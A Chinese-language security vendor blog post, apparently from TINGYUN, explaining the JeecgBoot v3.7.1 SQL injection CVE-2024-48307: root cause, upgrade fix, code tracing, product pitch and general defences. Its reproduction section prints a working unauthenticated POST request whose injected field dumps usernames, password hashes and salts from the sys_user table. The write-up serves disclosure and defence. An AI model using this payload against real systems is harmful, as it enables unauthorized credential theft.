在数字化浪潮中,Web 应用已成为企业运营的核心。然而,随之而来的安全挑战也日益严峻,其中 SQL 注入漏洞作为一种经典的攻击手段,至今仍是威胁数据安全的重要因素。近期,JeecgBoot 低代码平台被曝出 SQL 注入漏洞(CVE-2024-48307),再次提醒我们对数据库安全的重视。本文将围绕这一漏洞,从其概览、风险自查、修复建议,到漏洞原理、复现与追踪,再到如何通过专业工具和策略进行有效防护,为您提供一份全面的技术解读,旨在帮助企业构建更坚固的安全防线。

01

漏洞概览

/ TINGYUN

JeecgBoot是一个由Java开发的一款的集成AI应用的,基于BPM流程的低代码平台。JeecgBoot v3.7.1版本存在安全漏洞,该漏洞源于通过组件/onlDragDatasetHead/getTotalData 发现包含 SQL 注入漏洞。该漏洞允许攻击者通过构造恶意请求,在未授权的情况下直接对数据库进行操作,从而可能导致数据泄露、数据篡改,甚至获取数据库控制权。这无疑对依赖 JeecgBoot 平台的用户构成了巨大的潜在威胁。

02

风险自查

/ TINGYUN

为了及时发现并规避潜在风险,企业应当对使用的 JeecgBoot 版本进行自查。您可以通过检查 org.jeecgframework.boot:jeecg-boot-parent 的版本,核查您的 JeecgBoot 是否处于以下受影响的范围内:org.jeecgframework.boot:jeecg-boot-parent

03

如何修复受影响的程序

/ TINGYUN

针对JeecgBoot SQL 注入漏洞,最直接有效的修复方式是升级您的 JeecgBoot 版本。请注意以下升级建议:

  • 升级到 org.jeecgframework.boot:jeecg-boot-parent 3.7.1 以上版本。

04

漏洞原理

/ TINGYUN

CVE-2024-48307 JeecgBoot 在线报表 SQL 注入漏洞的根本原因在于以下方面:

  • 未授权访问:接口 /drag/onlDragDatasetHead/getTotalData 被配置为未授权访问(anon),任何用户都能直接调用。

  • 参数未严格校验:接口接收的 tableName 和 condition 参数在拼接 SQL 时未经过严格校验。

  • 未使用预编译:未使用 MyBatis 的预编译(参数绑定)方式,而是直接拼接到 SQL 语句中。

攻击者可以构造恶意请求,在 tableName 或查询条件中注入 SQL 语句,从而导致数据泄露、数据篡改,甚至获取数据库控制权限。  

03

如何修复受影响的程序

/ TINGYUN

为了更直观地理解 SQL 注入漏洞的利用过程,我们将通过 JeecgBoot v3.7.1版本进行漏洞复现。以下是详细的复现步骤:

1.搭建环境

根据官方文档进行环境搭建,只进行漏洞复现可不搭建前端环境:
源代码:https://github.com/jeecgboot/JeecgBoot/tree/v3.7.1

官方搭建文档:https://help.jeecg.com/java/setup/idea/startup.html

启动环境

2.构造 POC 并请求接口

构造 poc,请求接口 POST /jeecg-boot/drag/onlDragDatasetHead/getTotalData

3.POC

PlainText

POST/jeecg-boot/drag/onlDragDatasetHead/getTotalData HTTP/1.1
Host: {host}:8080
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Referer: http://{host}/jeecg-boot/
Accept-Encoding: gzip, deflate
Content-Type: application/json
Request-Origion: Knife4j
knife4j-gateway-code: ROOT
Origin: http://{host}:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: */*
Content-Length: 357

{
“tableName”: “sys_user”,
“compName”: “test”,
“condition”: { “filter”: {} },
“config”: {
“assistValue”: [],
“assistType”: [],
“name”: [
{ “fieldName”: “concat(username,0x3a,password,0x3a,salt)”, “fieldType”: “string” },
{ “fieldName”: “id”, “fieldType”: “string” }
],
“value”: [{ “fieldName”: “id”, “fieldType”: “string” }],
“type”: [] }
}

04

漏洞追踪

/ TINGYUN

为了更深入地理解漏洞的成因,我们对JeecgBoot的相关代码进行了追踪分析:

//1.权限控制分析

jeecg 通过 shiro 控制权限,先找到 ShiroConfig.java,JeecgBoot-3.7.1jeecg-bootjeecg-boot-base-coresrcmainjavaorgjeecgconfigshiroShiroConfig.java,可以看到 /jeecg-boot/drag/onlDragDatasetHead/getTotalData 配置了不需要 anon,即匿名访问,不需要登录就能访问。

//2.定位漏洞路由

存在漏洞的路由为:/jeecg-boot/drag/onlDragDatasetHead/getTotalData,找到对应的文件,找到对应路由。

//3.参数获取与传递

通过调试模式,可以发现可以让 compName 不等于”JPivotTable”,进入 this.onlDragDatasetHeadService.getTotalData(var3, var4, var5, var6, var9),var3,var4,var5,var6 均从请求中获取,var9 为身份校验后的结果,此漏洞无需验证身份。

//4.进一步跟进

跟进后进入 org.jeecg.modules.drag.service.a.d#getTotalData,让请求头中的 config.formtype 不等于 design。

//5.关键变量分析

进入 org.jeecg.modules.drag.service.a.i,在 handleOnlineForm 中,var7 为关键,其中包含需要查询的字段。

//6.SOL拼接问题

进一步跟进 this.onlDragDatasourceDao.selectListBySql 方法,发现这里没有对用户输入的参数进行过滤,而是直接拼接 SQL 语句进行查询,并将查询结果返回给 var8。此时,系统已经根据用户输入的恶意参数进行了查询,从而导致 SQL 注入。

05

听云 ASPM 如何提供帮助

/ TINGYUN

面对日益复杂的网络安全威胁,专业的应用安全性能管理(ASPM)工具显得尤为重要。听云 ASPM 用户可以通过威胁感知,组件风险,来实时观察自己的系统是否存在依赖 0day 安全风险以及 1day 或 nday 的组件风险。针对上述 jeecgBoot SQL 注入漏洞,听云 ASPM 能够发挥以下关键作用:

SQL 注入漏洞发现 

当 JeecgBoot 通过听云探针插桩后,恶意攻击者尝试有效 SQL 攻击,在听云 ASPM 的深度威胁中能够立即发现 SQL 漏洞。

威胁感知详情

通过 ASPM,用户可以看到 SQL 攻击的请求信息和漏洞信息,帮助企业快速定位触发漏洞的位置。

威胁感知详情-修复方案

ASPM 还提供 SQL 注入漏洞的原理解析和修复示例,帮助开发人员理解和修复漏洞。

06

企业如何应对SQL注入漏洞

/ TINGYUN

在企业 Web 应用开发过程中,随着系统功能的不断扩展,接口数量往往成百上千。开发者在赶工期或维护过程中,常常会忽视对某些接口参数的严格过滤,从而埋下安全隐患,SQL 注入漏洞就是其中的高发问题。例如,《CVE-2024-48307 JeecgBoot SQL 注入漏洞》就是典型案例。攻击者仅需通过构造恶意请求参数,即可将恶意 SQL 拼接到查询语句中,进而实现数据库数据泄露甚至系统控制。

应对这类问题的核心在于确保数据库查询的安全性,并构建多层次的防护体系:

· 严格的输入校验:所有与数据库交互的参数都必须经过合法性校验,避免直接拼接 SQL。建议采用参数化查询(PreparedStatement)或 MyBatis 占位符绑定的方式,而不是字符串拼接。
· 最小化数据库权限:限制数据库账户权限,例如只授予查询权限,避免开发库账号拥有 DROP、UPDATE、DELETE 等危险操作权限,降低注入被利用后的危害面。
· 数据库层防护:在数据库层开启 SQL 防火墙(如 MySQL 的 SQL_SAFE_UPDATES 或 WAF 规则),过滤掉明显的注入语句,阻断异常查询。

· 统一安全框架:企业应建立统一的数据访问安全框架,屏蔽底层 SQL 拼接逻辑,开发人员只能通过安全封装后的接口进行数据库访问。

然而,在实际的企业应用中,接口数量庞大、业务迭代频繁,即使有规范和框架,也难以保证所有接口 100% 安全无误。这时,借助专业工具的价值就尤为突出。通过听云应用安全性能管理(ASPM)、SAST/IAST 等专业工具,企业能够自动化发现 SQL 注入风险,持续追踪接口中的安全缺陷,快速定位问题接口与触发条件,从而有效筑牢整体安全防线。

通过以上措施,企业才能在高频迭代 + 海量接口的环境下,从源头上减少类似 JeecgBoot SQL 注入漏洞的发生,并在开发、测试、上线全链路中形成可持续、可量化的安全保障机制。

 

面对日益严峻的网络安全形势,企业必须从开发、部署到运维的各个环节,全面加强安全防护。通过严格的输入校验、合理的权限管理、数据库层防护、统一安全框架以及引入专业的 ASPM 工具,企业能够有效抵御 SQL 注入等各类安全威胁,确保业务的持续稳定运行。

参考:

https://github.com/jeecgboot/JeecgBoot/issues/7237

声明:

本文的所有漏洞环境均为本地测试环境,且本文仅供学习、安全研究参考使用,请勿用作违法用途,否则后果自负。

推荐阅读

  • 在数字化时代,应用程序的性能和可靠性对于企业的成功至关重要。无论是在线零售、金融服务、医疗保健还是任何其他行业,apm应用性能管理都成为了保持竞争力的核心要素。本文将深入探讨apm应用性能管理厂家的角色,他们的产品种类以及如何通过apm提高业务竞争力和用户满意度。

    2023-09-05

  • 随着互联网的迅猛发展,IPv4地址资源的枯竭问题愈发突出。为了解决这一难题,IPv6作为下一代互联网协议崭露头角,为网络世界带来了巨大的变革和无限的可能性。在这样的背景下ipv6测试网站成为了至关重要的环节,帮助我们了解IPv6网络的稳定性、性能表现以及应用兼容性。

    2023-05-22

  • 前段时间热播的电视剧《开端》想必不少人都看过的,其新颖的拍摄手法和不落俗套的剧情着实颇具亮点。为什么要说到这部剧呢?因为这部剧可以更好的帮我们理解什么是系统的可观测性,让你从一大堆技术概念中解脱出来。

    2022-02-24

  • 应用性能管理系统在当今时代越来越重要,能够帮助企业更好地进行应用程序的管理,比如监测、分析和优化应用程序等。对于数字化企业而言,这样的管理系统可以有效提升客户服务,为自身提高竞争力。那么,评价高的应用性能管理系统具有哪些特点呢?

    2023-08-17

  • API层监控,它主要是通过监控数据和微服务实例来进行一系列图标、面板分析和统计来进行实时监控的工具。本文将为您详细介绍API层监控的相关内容。

    2023-09-28